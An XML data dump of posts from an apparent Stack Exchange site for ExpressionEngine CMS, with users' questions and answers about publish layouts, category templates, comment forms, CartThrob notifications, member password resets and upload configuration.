  <row Id="5048" PostTypeId="2" ParentId="5034" CreationDate="2013-01-18T12:23:18.990" Score="2" Body="&lt;p&gt;This addon may help you.&#xA;&lt;a href=&quot;http://devot-ee.com/add-ons/cp-default-tabs&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/cp-default-tabs&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the past I have done this by manually updating a column in the members database table.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-01-18T12:23:18.990" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5049" PostTypeId="1" AcceptedAnswerId="5053" CreationDate="2013-01-18T12:32:48.440" Score="4" ViewCount="343" Body="&lt;p&gt;Is there a way to group Channel fields when displaying it in the Content section in EE's CP? A way to visually group related fields might be a usability improvement when there are a lot of Channel fields. Possible in EE?&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2016-01-26T23:08:46.610" Title="Grouping Channel Fields" Tags="|channel-entries|channel|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5050" PostTypeId="2" ParentId="5047" CreationDate="2013-01-18T12:39:44.480" Score="4" Body="&lt;p&gt;That's not a very efficient way of doing things as you're doubling your DB queries unnecessarily by calling &lt;code&gt;{exp:channel:categories}&lt;/code&gt; twice. It also forces you to update your template markup whenever you add new categories in the future.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally speaking the simplest means of achieving a two column layout would be via CSS:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.my_categories p {&#xA;    float: left;&#xA;    width: 50%;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you want to apply different styling to the left and right columns you can use EE's &lt;code&gt;{switch}&lt;/code&gt; tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;my_categories&quot;&amp;gt;&#xA;    {categories group_id=&quot;4&quot;}&#xA;    &amp;lt;p class=&quot;{switch='odd|even'}&quot;&amp;gt;&#xA;        &amp;lt;label for=&quot;{category_name}&quot;&amp;gt;{category_name}&amp;lt;/label&amp;gt;&#xA;        &amp;lt;input type=&quot;checkbox&quot; name=&quot;category[]&quot; id=&quot;{category_name}&quot; value=&quot;{category_id}&quot;{checked}&amp;gt;&#xA;    &amp;lt;/p&amp;gt;&#xA;    {/categories}&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="77" LastActivityDate="2013-01-18T12:39:44.480" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5051" PostTypeId="1" CreationDate="2013-01-18T12:40:21.470" Score="2" ViewCount="460" Body="&lt;p&gt;This one is confusing me and I'm wondering if any CartThrob experts out there have experienced this and have a solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My custom email notification and admin email notifications, both triggered by the &quot;successful transaction&quot; event, are identical to one another, except that the &quot;to&quot; line for the admin email is a static email address, while the &quot;to&quot; line for the custom email uses the {customer_email} global variable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I am logged into the CP and visit my order form in another tab to run a test transaction, the transaction is completed correctly and both the admin and custom emails are received (and admin email to the static email address and the customer email to the dynamic user-entered email address).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if I log out of the CP and visit the form, submitting a test transaction, only the admin email notification is received.  Is there some reason that I'm missing that would cause this?  A setting somewhere in CartThrob that I have missed?  I have &quot;User Must Be Logged In?&quot; set to &quot;no&quot; and I do have a member ID for an &quot;anonymous&quot; user set for the &quot;Logged Out Member ID&quot; setting.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-01-18T16:12:08.197" Title="CartThrob customer email notification not sending unless logged in to CP" Tags="|cartthrob|email|notification|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="5052" PostTypeId="1" AcceptedAnswerId="5056" CreationDate="2013-01-18T12:46:08.627" Score="4" ViewCount="419" Body="&lt;p&gt;In EE2, you have to be a Super Admin to change a user's password without knowing their old password in the CP. This is very annoying when you setup up 'Client Admin' member groups as they expect to be able to do such a task for unlocked member groups.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In EE1, there was an add-on called NSM Member Password Security that allowed you to specify member groups that could reset the password without knowing the old one (something that should be part of the standard member permissions in EE, IMO).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I can't see any such add-ons for EE2. Does anyone have a workaround for this (without giving them Super Admin access)? Or how do you deal with 'Client Admin' member groups that have permission to add/delete member accounts, but can't reset someone's password for them without knowing the old one? Use the forgot password form instead?&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2013-01-18T13:22:25.500" Title="Allowing non-Super Admin users to reset a user's password in the CP without knowing the old one" Tags="|members|password|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5053" PostTypeId="2" ParentId="5049" CreationDate="2013-01-18T12:47:52.590" Score="6" Body="&lt;p&gt;You can create custom tabs on the publish page and choose which fields they contain. Just click the 'show toolbar' link on the upper right hand side of the publish page and you'll see these controls:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zm4wU.png&quot; alt=&quot;Publish layout controls&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Individual fields can be hidden by clicking on the little eye icons. Tabs can be created via the Add Tab link and populated by dragging and dropping field names from the field list to the main content area. You can also remove the default tabs if they're not relevant to the content you're working with (e.g. I often delete the Categories tab).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you've got everything arranged as you want it select the usergroups that should see this layout (different usergroups can have different layouts assigned) and hit 'Save Layout'.&lt;/p&gt;&#xA;" OwnerUserId="77" LastActivityDate="2013-01-18T12:47:52.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5054" PostTypeId="2" ParentId="5049" CreationDate="2013-01-18T12:49:00.160" Score="1" Body="&lt;p&gt;Yes, using EE's native &quot;custom publish layouts&quot; (accessed by clicking the &quot;show toolbar&quot; link in the top right of a given channel's publish screen).  How well this works for you though depends on the degree of grouping you are looking for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One option would be if you just want a bunch of related fields moved around to be in proximity to one another, you can use custom publish layout to &quot;collect&quot; them together in a single publish/edit screen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need to segment them (like with a heading for each group or something) the closest you can get is adding tabs and moving the appropriate custom fields into each tab.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-01-18T12:49:00.160" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5055" PostTypeId="2" ParentId="5020" CreationDate="2013-01-18T13:18:11.390" Score="4" Body="&lt;p&gt;Your example code shows you doing two things:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Listing any existing comments on the entry (&lt;code&gt;{exp:comment:entries}&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Displaying a list of Channel Entries (&lt;code&gt;{exp:channel:entries}&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Nowhere are you displaying the comment form (even though you &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/comment/index.html#id11&quot; rel=&quot;nofollow&quot;&gt;linked to the documentation on it&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the comment form is generally meant to be used on a &quot;single entry&quot; template, where the third segment of the URL is an &lt;code&gt;entry_id&lt;/code&gt; or &lt;code&gt;url_title&lt;/code&gt; of an entry. This is how the &lt;code&gt;comment:entries&lt;/code&gt; and &lt;code&gt;comment:form&lt;/code&gt; tags know which entry they are display from/submitting to. The code you posted indicates to me that you don't fully grasp how EE's URLs and templates work yet ... I'd suggest &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/urls/url_structure.html&quot; rel=&quot;nofollow&quot;&gt;reading up on it in the docs&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to display either of these tags on a page which does &lt;em&gt;not&lt;/em&gt; contain &lt;code&gt;entry_id&lt;/code&gt; or &lt;code&gt;url_title&lt;/code&gt; information in the URL, you'll need to provide an &lt;code&gt;entry_id&lt;/code&gt; to each tag via their &lt;code&gt;entry_id&lt;/code&gt; tag parameter - generally by &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/embedding.html&quot; rel=&quot;nofollow&quot;&gt;embedding those chunks of code&lt;/a&gt; and passing it via an embed variable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These two (simplified - no header or footer HTML) templates should get you started in understanding how it works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First is your &lt;strong&gt;video_tutorial/index&lt;/strong&gt; template. This provides a listing of your tutorials, each with a link to its &quot;permalink&quot;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;video_tutorials&quot; limit=&quot;5&quot; paginate=&quot;bottom&quot;}&#xA;&amp;lt;div class=&quot;wrapper&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;video_large&quot;&amp;gt;&#xA;        &amp;lt;h1&amp;gt;&amp;lt;a href=&quot;{title_permalink=&quot;video_tutorial/entry&quot;}&quot;&amp;gt;{video_tutorial_title}&amp;lt;/a&amp;gt;&amp;lt;/h1&amp;gt;&#xA;        &amp;lt;div class=&quot;large_reposition&quot;&amp;gt;&#xA;        &amp;lt;iframe src=&quot;http://player.vimeo.com/video/{video_tutorial_link}?title=0&amp;amp;amp;byline=0&amp;amp;amp;portrait=0&quot; width=&quot;900&quot; height=&quot;506&quot; frameborder=&quot;0&quot; webkitAllowFullScreen mozallowfullscreen allowFullScreen&amp;gt;&amp;lt;/iframe&amp;gt; &#xA;        &amp;lt;h3&amp;gt;{video_tutorial_summary}&amp;lt;/h3&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;{paginate}&#xA;    &amp;lt;p&amp;gt;Page {current_page} of {total_pages} pages {pagination_links}&amp;lt;/p&amp;gt;&#xA;{/paginate}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The next is your &lt;strong&gt;video_tutorial/entry&lt;/strong&gt; template. This is where you'll display all of your entry's data, plus any comments on the entry, and the comment form. Note that the fact that this template is called &lt;strong&gt;entry&lt;/strong&gt; is irrelevant - you can call it anything you want, so long as you change that value in the &lt;code&gt;{title_permalink}&lt;/code&gt; path in your &lt;strong&gt;index&lt;/strong&gt; template.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- Display your entry, as this is the &quot;permalink&quot; page for this entry --}&#xA;&#xA;{exp:channel:entries channel=&quot;video_tutorials&quot; limit=&quot;1&quot; require_entry=&quot;yes&quot;}&#xA;{if no_results}{redirect=&quot;404&quot;}{/if}&#xA;&amp;lt;div class=&quot;wrapper&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;video_large&quot;&amp;gt;&#xA;            &amp;lt;h1&amp;gt;{video_tutorial_title}&amp;lt;/h1&amp;gt;&#xA;            &amp;lt;div class=&quot;large_reposition&quot;&amp;gt;&#xA;            &amp;lt;iframe src=&quot;http://player.vimeo.com/video/{video_tutorial_link}?title=0&amp;amp;amp;byline=0&amp;amp;amp;portrait=0&quot; width=&quot;900&quot; height=&quot;506&quot; frameborder=&quot;0&quot; webkitAllowFullScreen mozallowfullscreen allowFullScreen&amp;gt;&amp;lt;/iframe&amp;gt; &#xA;            &amp;lt;h3&amp;gt;{video_tutorial_summary}&amp;lt;/h3&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;{/exp:channel:entries}&#xA;&#xA;{!-- Display any existing comments. Note that the reason this works here is that the third segment of the URL this template will be displayed at is the `url_title` for this entry, hence the Comment module knows which comments to look for. --}&#xA;&#xA;&amp;lt;h4&amp;gt;Comments&amp;lt;/h4&amp;gt;&#xA;&#xA;{exp:comment:entries channel=&quot;video_tutorials&quot; sort=&quot;asc&quot; limit=&quot;100&quot;}&#xA;    {comment}&#xA;    &amp;lt;p&amp;gt;By {name} on {comment_date format=&quot;%Y %m %d&quot;}&amp;lt;/p&amp;gt;&#xA;{/exp:comment:entries}&#xA;&#xA;{!-- Display the comment form - same story as above with the `url_title` in the URL. Note that for eah of these tags, you *can* pass either a `url_ttle` or `entry_id` as a parameter if you want to display them in a *non* single-entry template. --}&#xA;&#xA;&amp;lt;h4&amp;gt;Add Your Comment&amp;lt;/h4&amp;gt;&#xA;&#xA;{exp:comment:form channel=&quot;video_tutorials&quot; preview=&quot;video_tutorial/preview&quot;}&#xA;&#xA;    {if logged_out}&#xA;            &amp;lt;label for=&quot;name&quot;&amp;gt;Name:&amp;lt;/label&amp;gt; &amp;lt;input type=&quot;text&quot; name=&quot;name&quot; value=&quot;{name}&quot; size=&quot;50&quot; /&amp;gt;&amp;lt;br /&amp;gt;&#xA;            &amp;lt;label for=&quot;email&quot;&amp;gt;Email:&amp;lt;/label&amp;gt; &amp;lt;input type=&quot;text&quot; name=&quot;email&quot; value=&quot;{email}&quot; size=&quot;50&quot; /&amp;gt;&amp;lt;br /&amp;gt;&#xA;            &amp;lt;label for=&quot;location&quot;&amp;gt;Location:&amp;lt;/label&amp;gt; &amp;lt;input type=&quot;text&quot; name=&quot;location&quot; value=&quot;{location}&quot; size=&quot;50&quot; /&amp;gt;&amp;lt;br /&amp;gt;&#xA;            &amp;lt;label for=&quot;url&quot;&amp;gt;URL:&amp;lt;/label&amp;gt; &amp;lt;input type=&quot;text&quot; name=&quot;url&quot; value=&quot;{url}&quot; size=&quot;50&quot; /&amp;gt;&amp;lt;br /&amp;gt;&#xA;    {/if}&#xA;    &amp;lt;label for=&quot;comment&quot;&amp;gt;Comment:&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;    &amp;lt;textarea name=&quot;comment&quot; cols=&quot;70&quot; rows=&quot;10&quot;&amp;gt;{comment}&amp;lt;/textarea&amp;gt;&#xA;    &amp;lt;label&amp;gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;save_info&quot; value=&quot;yes&quot; {save_info} /&amp;gt; Remember my personal information&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;    &amp;lt;label&amp;gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;notify_me&quot; value=&quot;yes&quot; {notify_me} /&amp;gt; Notify me of follow-up comments?&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;    {if captcha}&#xA;            &amp;lt;label for=&quot;captcha&quot;&amp;gt;Please enter the word you see in the image below:&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;            &amp;lt;p&amp;gt;{captcha}&amp;lt;br /&amp;gt;&#xA;            &amp;lt;input type=&quot;text&quot; name=&quot;captcha&quot; value=&quot;{captcha_word}&quot; maxlength=&quot;20&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;    {/if}&#xA;    &amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Submit&quot; /&amp;gt;&#xA;    &amp;lt;input type=&quot;submit&quot; name=&quot;preview&quot; value=&quot;Preview&quot; /&amp;gt;&#xA;&#xA;{/exp:comment:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2013-01-26T18:48:19.310" LastActivityDate="2013-01-26T18:48:19.310" CommentCount="13" ContentLicense="CC BY-SA 3.0" />
  <row Id="5056" PostTypeId="2" ParentId="5052" CreationDate="2013-01-18T13:22:25.500" Score="6" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Use the forgot password form instead?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Exactly. Without building custom code to do this (which is quite doable), this is the way to go - and I suggest using &lt;a href=&quot;http://devot-ee.com/add-ons/freemember&quot;&gt;FreeMember&lt;/a&gt; and its &lt;a href=&quot;https://github.com/expressodev/freemember/wiki/Forgot-Password-Tag&quot;&gt;Forgot Password&lt;/a&gt; form on the front-end, so users can use it directly. That way your Client Admins don't have to be bothered.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-01-18T13:22:25.500" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5057" PostTypeId="1" AcceptedAnswerId="5939" CreationDate="2013-01-18T13:45:55.593" Score="4" ViewCount="375" Body="&lt;p&gt;I was wondering if someone has successfully implemented both Facebook Connect and Zoo Visitor on a single site. Are there any issues I should be aware of? Does creating an account through Facebook also trigger the creation of a Zoo Visitor member-channel entry? Client has requested a quote on this functionality and I don't want to promise something that's dead in the water before I've even started.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Steven&lt;/p&gt;&#xA;" OwnerUserId="195" LastActivityDate="2013-07-08T01:01:33.197" Title="Facebook Connect vs Zoo Visitor" Tags="|zoo-visitor|solspace|facebook|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5058" PostTypeId="1" AcceptedAnswerId="5078" CreationDate="2013-01-18T14:07:32.777" Score="5" ViewCount="310" Body="&lt;p&gt;When running MSM add-on, how can I manage the file upload folders etc, via a config.php file?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally I would want to use a hook to do it, but it doesn't seem to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normally I would do this:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;  $config['upload_preferences'] = array(&#xA;        1 =&amp;gt; array(&#xA;            'name'        =&amp;gt; 'Images',&#xA;            'server_path' =&amp;gt; $uploads_path . &quot;/images/&quot;,&#xA;            'url'         =&amp;gt; $uploads_url . &quot;/images/&quot;&#xA;        ),&#xA;        2 =&amp;gt; array(&#xA;            'name'        =&amp;gt; 'Files',&#xA;            'server_path' =&amp;gt; $uploads_path . &quot;/files/&quot;,&#xA;            'url'         =&amp;gt; $uploads_url . &quot;/files/&quot;&#xA;        ),&#xA;        3 =&amp;gt; array(&#xA;            'name'        =&amp;gt; 'Icons',&#xA;            'server_path' =&amp;gt; $uploads_path . &quot;/icons/&quot;,&#xA;            'url'         =&amp;gt; $uploads_url . &quot;/icons/&quot;&#xA;        )&#xA;    );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="362" LastActivityDate="2013-01-21T09:20:48.393" Title="MSM &amp; FIle Upload Config Hook" Tags="|multi-site-manager|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5059" PostTypeId="1" CreationDate="2013-01-18T15:06:34.090" Score="1" ViewCount="62" Body="&lt;p&gt;In Assets 1 you could select several images and then click add to add them all at once. This is still possible in Assets 2, but the button has been removed from the interface. When you select several images and double-click the selection the images will be added. But this requires precise timing. &#xA;Please consider bringing back the add button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/zTiIB.png&quot; alt=&quot;Assets 1, Add button marked&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6NVDR.png&quot; alt=&quot;Assets 2, no Add button&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="779" LastActivityDate="2013-01-18T15:06:34.090" Title="Assets 2 &quot;add image button&quot;" Tags="|control-panel|assets|" AnswerCount="0" CommentCount="3" FavoriteCount="0" ClosedDate="2013-01-18T17:29:55.243" ContentLicense="CC BY-SA 3.0" />
  <row Id="5060" PostTypeId="2" ParentId="4961" CreationDate="2013-01-18T15:15:44.230" Score="1" Body="&lt;p&gt;This error seems to relate to the use of the master-config methode of setting up ExpressionEngine. I've reverted back to Assets 1 for the time being while this error is being solved bij Pixel and Tonic.&lt;/p&gt;&#xA;" OwnerUserId="792" LastActivityDate="2013-01-18T15:15:44.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5061" PostTypeId="2" ParentId="5034" CreationDate="2013-01-18T15:30:02.810" Score="4" Body="&lt;p&gt;I am at the point where I will no longer design an EE site without &lt;a href=&quot;http://devot-ee.com/add-ons/zoo-flexible-admin&quot; rel=&quot;nofollow&quot;&gt;Zoo Flexible Admin&lt;/a&gt;. I can make the control panel much more client friendly and self explanatory with &lt;a href=&quot;http://devot-ee.com/add-ons/zoo-flexible-admin&quot; rel=&quot;nofollow&quot;&gt;Zoo Flexible Admin&lt;/a&gt;. And it’s great even just for me as an admin. I’m not sure how I got along without it before!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It lets you build a completely custom menu set in the Control Panel. And you have have different menu sets for different levels of users. It's really great.&lt;/p&gt;&#xA;" OwnerUserId="467" LastActivityDate="2013-01-18T15:30:02.810" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5062" PostTypeId="1" CreationDate="2013-01-18T15:32:40.023" Score="1" ViewCount="242" Body="&lt;p&gt;Weird error in the control panel. I'm using the Matrix field in one channel and as a field in Low Variables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When i start filling out a new entry things work like a charm. But when i try to open en existing entry i get the following JS error as soon as i open the tab containing the matrix field.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Tijdstempel: 18-01-13 16:27:00&lt;br /&gt;&#xA;  Fout: TypeError: rowInfo[index] is undefined&lt;br /&gt;&#xA;  Bronbestand:&#xA;  &lt;a href=&quot;http://www.urlhere.nl/themes/third_party/matrix/scripts/matrix.js?2.5.2&quot; rel=&quot;nofollow&quot;&gt;http://www.urlhere.nl/themes/third_party/matrix/scripts/matrix.js?2.5.2&lt;/a&gt;&lt;br /&gt;&#xA;  Regel: 90&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This error 'freezes' the entire matrix field. Basic textfield are still editable but the assets field are frozen. Also removing existing lines becomes impossible but adding new ones is possible. New lines are numbered from 1 as if the others lines don't exists.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using ExpressionEngine 2.5.5 and Matrix 2.5.2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With kind regard,&#xA;Bas van Ginkel&lt;/p&gt;&#xA;" OwnerUserId="792" LastActivityDate="2013-01-19T11:59:25.380" Title="Matrix: JS error in the control panel (rowInfo[index] is undefined)" Tags="|control-panel|matrix|javascript|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5063" PostTypeId="2" ParentId="5028" CreationDate="2013-01-18T15:37:39.673" Score="0" Body="&lt;p&gt;Changing &lt;code&gt;folder=&quot;{folder_id}&quot;&lt;/code&gt; to &lt;code&gt;folder_id=&quot;{folder_id}&quot;&lt;/code&gt; got things working correctly. &lt;/p&gt;&#xA;" OwnerUserId="843" LastEditorUserId="28" LastEditDate="2013-01-19T05:03:27.640" LastActivityDate="2013-01-19T05:03:27.640" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5065" PostTypeId="2" ParentId="5051" CreationDate="2013-01-18T16:12:08.197" Score="1" Body="&lt;p&gt;Are you sure you have the {customer_email} field displaying, and there is data in it when it's processed? Turn on CT Debugging and just before you submit to get the email, check this field is complete.&lt;/p&gt;&#xA;" OwnerUserId="362" LastActivityDate="2013-01-18T16:12:08.197" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5066" PostTypeId="1" AcceptedAnswerId="5285" CreationDate="2013-01-18T16:50:44.447" Score="2" ViewCount="363" Body="&lt;p&gt;When entering content, is there a way to mistake-proof entering links to other url-titles on the site without entering the full URL?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am setting up an EE website using Structure and Low Variables. Structure is managing the &quot;page&quot; content in a channel called &quot;Pages,&quot; and there are several other channels for various dynamic content listings. I am using Low Variables to manage snippets of code, various settings, and bits of content such as company contact information. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As part of the home page, I have several &quot;featured&quot; sections with similar formatting. Each has the option for a title, image, link, and blurb of text. The client would like to be able to select from any content on the site (as well as presumably content NOT on the site). I setup a  channel called &quot;Features&quot; with the following fields: &lt;code&gt;title&lt;/code&gt; (Text Input),&lt;code&gt;feature_url&lt;/code&gt; (Text Input -- default text formatting &quot;None&quot;), &lt;code&gt;feature_image&lt;/code&gt; (File), and &lt;code&gt;feature_body&lt;/code&gt; (Textarea). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The client would select which entries from the &quot;Features&quot; channel to display on the Home page using a select list in Low Variables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I setup the Home page template as follows: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- Feature Section --&amp;gt;&#xA;&amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;    {exp:channel:entries channel=&quot;Features&quot; dynamic=&quot;no&quot; limit=&quot;3&quot; disable=&quot;{lv_shortcuts_disable_default}&quot;}&#xA;    &amp;lt;div class=&quot;column one-third&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;pic&quot;&amp;gt;&#xA;            {feature_image}{if feature_url != &quot;&quot;}&amp;lt;a href=&quot;{feature_url}&quot;&amp;gt;{/if}&amp;lt;img src=&quot;{url:feature3}&quot; alt=&quot;&quot; /&amp;gt;{if feature_url != &quot;&quot;}&amp;lt;/a&amp;gt;{/if}{/feature_image}&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;h3&amp;gt;{if feature_url != &quot;&quot;}&amp;lt;a href=&quot;{feature_url}&quot;&amp;gt;{/if}{title}{if feature_url != &quot;&quot;}&amp;lt;/a&amp;gt;{/if}&amp;lt;/h3&amp;gt;&#xA;        &amp;lt;p&amp;gt;{feature_body}&amp;lt;/p&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    {/exp:channel:entries}&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;!-- Feature Section::END --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When entering content, I have tried typing in the &lt;code&gt;url_title&lt;/code&gt; of another page on the site, but the template wraps the &lt;code&gt;url_title&lt;/code&gt; in &lt;code&gt;&amp;lt;p&amp;gt;&amp;lt;/p&amp;gt;&lt;/code&gt; tags when rendering. (Example: entering &quot;/index.php/our-work&quot; in the entry field yields &lt;code&gt;http://localhost:8080/mysite/&amp;lt;p&amp;gt;/index.php/our-work&amp;lt;/p&amp;gt;&lt;/code&gt;.) Entering a full URL which includes &quot;&lt;code&gt;http://&lt;/code&gt;&quot; works as expected. Also, if the &lt;code&gt;url_title&lt;/code&gt; of the other entry changes this entry will have a broken link.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I guess I have two problems:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;First, I would like an easy way for my client to select from&#xA;existing content &quot;pages&quot; in a way that is straightforward and&#xA;mistake-proofed if the &lt;code&gt;url_title&lt;/code&gt; of a page changes. Ideally, this would be a select list. (If they want to enter a link to an external page, I could have a separate variable for that.)&lt;/li&gt;&#xA;&lt;li&gt;Second, I need those relative links to display in the template correctly without being wrapped in paragraph tags.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any experience with doing something like this? Any advice to help me?&lt;/p&gt;&#xA;" OwnerUserId="496" LastEditorUserId="496" LastEditDate="2013-01-18T17:01:23.260" LastActivityDate="2013-01-23T14:32:07.033" Title="Select list of existing content pages using Low Variables/Structure?" Tags="|structure|url-title|low-variables|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5068" PostTypeId="1" CreationDate="2013-01-18T17:05:28.080" Score="3" ViewCount="193" Body="&lt;p&gt;I'm doing an upgrade of a site from 2.2.x to 2.5.5. I've moved all of the files up, and prepped for the upgrade but when I run the upgrade wizard it is literally stuck on this screen:&#xA;&lt;a href=&quot;http://cl.ly/image/3r3L16453428&quot; rel=&quot;nofollow&quot;&gt;http://cl.ly/image/3r3L16453428&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It will flash to say &quot;Starting next step...&quot; and then back to 2.3.0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Video is here:&#xA;&lt;a href=&quot;http://www.screencast.com/t/R7KzkLAld&quot; rel=&quot;nofollow&quot;&gt;http://www.screencast.com/t/R7KzkLAld&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone else ever see this issue?&lt;/p&gt;&#xA;" OwnerUserId="770" LastActivityDate="2013-03-16T01:42:58.690" Title="Upgrade &quot;stuck&quot; between 2.2 and 2.5" Tags="|upgrade|ee2-upgrades|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
